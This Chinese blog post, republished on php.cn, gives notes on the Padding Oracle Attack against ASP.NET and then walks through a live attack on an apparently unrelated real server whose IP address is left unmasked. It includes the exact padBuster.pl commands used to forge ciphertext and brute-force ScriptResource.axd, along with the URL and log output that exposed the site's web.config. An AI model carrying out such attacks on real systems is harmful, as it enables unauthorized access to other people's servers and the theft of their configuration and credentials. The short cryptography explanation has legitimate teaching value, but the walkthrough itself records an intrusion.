Padding Oracle Attack 笔记

php中文网
发布: 2016-06-07 16:40:31
原创
1200人浏览过

0x00 Padding Oracle Attack 经常在 WVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏

0x00

Padding Oracle Attack 经常在 WVS 扫描的时候出现,但是作为渣渣的 rr 不会去利用这个漏洞。然而实际上,这个漏洞非常普遍,按照分类来说任意文件读取,但是利用成本略高,导致并不像网上常见的任意文件下载、本地文件包含或者是本地文件读取之类的漏洞一样流行。
漏洞造成的原因有很多写的很好的 paper 可以看,涉及到了密码学方面。下面是一些简单的介绍和利用,我也在此做一个笔记。
参考文章:

  • http://pnig0s1992.blog.51cto.com/393390/538399/
  • http://www.csdn.net/article/2010-09-26/279861

虽然看完有些头大,但是略微理解一点。下面是我的一点拙见,如果有错误还请指出。
ASP .NET 可以通过 ScriptManager 来打包输出一些文件,调用的方式类似于:

http://localhost/js.php?file=static/js/common.js
登录后复制

如果放在黑阔眼中,这大概就是一个明显的本地文件读取了。当然,ASP .NET 没有那么白痴,他会稍微加密一下,就像这样(实际上不是):

http://localhost/js.php?file=c3RhdGljL2pzL2NvbW1vbi5qcw
登录后复制

虽然这是一个简单的 base64 编码(就当它是加密好了),但是还是对于利用造成了一些难度。
说到这里还是没涉及到密码学方面的问题,而且密码学也不是咱的强项,我还是直接丢链接好了。

0x02

参考文章:

  • Padding Oracle Attack 详解

这里大致讲了一下 Padding Oracle Attack 形成的原因。
比如我们想读取 web.config 这个文件,我们可以通过加密,然后发送给服务端,服务端经过解密后发现这个是 web.config 这个文件,再返回它的内容给我们,我们就可以获取到 web.config 的内容。由于加密算法的缺陷,我们可以成功的伪造一段密文,导致利用成功。
这种攻击方式其实和哈希长度扩展攻击有着异曲同工之妙,具体的方式可以通过阅读上述的 paper 来理解。

0x03

在 ZoomEye 寻找到目标后,咱决定来一次实战攻击,在这里就不打码了。
另外,这个攻击的攻击成本还是挺高的,为了获取到这个文件信息,我大概发送了 10000 多次请求。

目标地址:http://61.157.135.8:81/

拿到目标后我们先查看源代码,发现存在 WebResource.axd 和 ScriptResource.axd 这两个文件。这两个文件是我们攻击所需要的,如果不存在的话Σ(っ °Д °;)っ...rr 也不知道该怎么办..
Padding Oracle Attack 笔记
然后我们来获得想读取的文件的密文。

perl padBuster.pl "http://61.157.135.8:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2&t=633802945995006876" fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"
登录后复制

这里引用上面的链接里的话来解释这段命令的意思:

这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),encoding参数有4中,分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,plaintext为想读取内容的文件,本次测试以web.config为例。

经过一段时间的加密之后,我们得到了密文:
Padding Oracle Attack 笔记
这里产生的密文就是加密后的 web.config 和一些填充的字符串组成的,因为此时我们不知道密钥的值,所以我们可以生成出加密后的 web.config 的字符串(这里实在是说的不清楚..总之可以暴力破解得到正确的密文就好了)。利用命令:

perl padBuster.pl http://61.157.135.8:81/ScriptResource.axd\?d=y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log
登录后复制

然后慢慢跑啊跑。
Padding Oracle Attack 笔记
跑了很久之后,突然发现有一个返回的 Content-Length 与众不同,就像人群中闪耀的 P7 一般:
Padding Oracle Attack 笔记
看一下 log 文件,的确是 web.config 的内容:

URL: http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
Post Data: 
Cookies:
Status: 200
Location: N/A
Content-Length: 47983
Content:
?<?xml version="1.0" encoding="utf-8"?>
<!-- 
....
登录后复制

访问地址:http://61.157.135.8:81/ScriptResource.axd?d=UwAkAAAAAAAAAAAAAAAAAMtqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0
浏览器中同样显示出 web.config 的内容。
Padding Oracle Attack 笔记
至此攻击成功。

0x04

需要注意的一点是,Padding Oracle Attack 不仅仅适用于对于 ASP .NET 的攻击,还适用于采用了 CBC 模式加密方式的各种场景下。
参考文章

  • http://www.2cto.com/Article/201310/253990.html

如上所述,Padding Oracle Attack 攻击的成立条件为:

  1. 攻击者能够获得密文,以及附带在密文前面的 IV (初始化向量);
  2. 攻击者能够触发密文的解密过程,解密失败和解密成功的结果具有差异性,且能够知道密文解密后的结果。

另外所述工具在 Github 上搜索 padBuster.pl 即可。
心好乱_(:з」∠)_..

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
相关标签:
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号